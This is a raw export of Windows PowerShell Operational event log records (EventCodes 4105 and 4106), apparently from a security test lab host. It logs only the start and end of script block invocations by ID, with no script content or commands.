Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647485
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647484
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647483
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647482
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647481
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647480
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647479
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647478
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647477
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647496
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647495
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647494
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647493
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647492
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647491
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647490
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647489
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647488
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:23 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647487
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647506
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647505
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647503
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647502
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647501
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647500
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647499
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647498
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647497
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647516
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647515
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647514
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647513
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647512
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647511
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647510
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647509
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647508
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:31 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647507
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647526
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647525
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647524
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647523
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647521
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647520
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647519
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647518
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:37 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647517
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647536
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647535
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647534
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
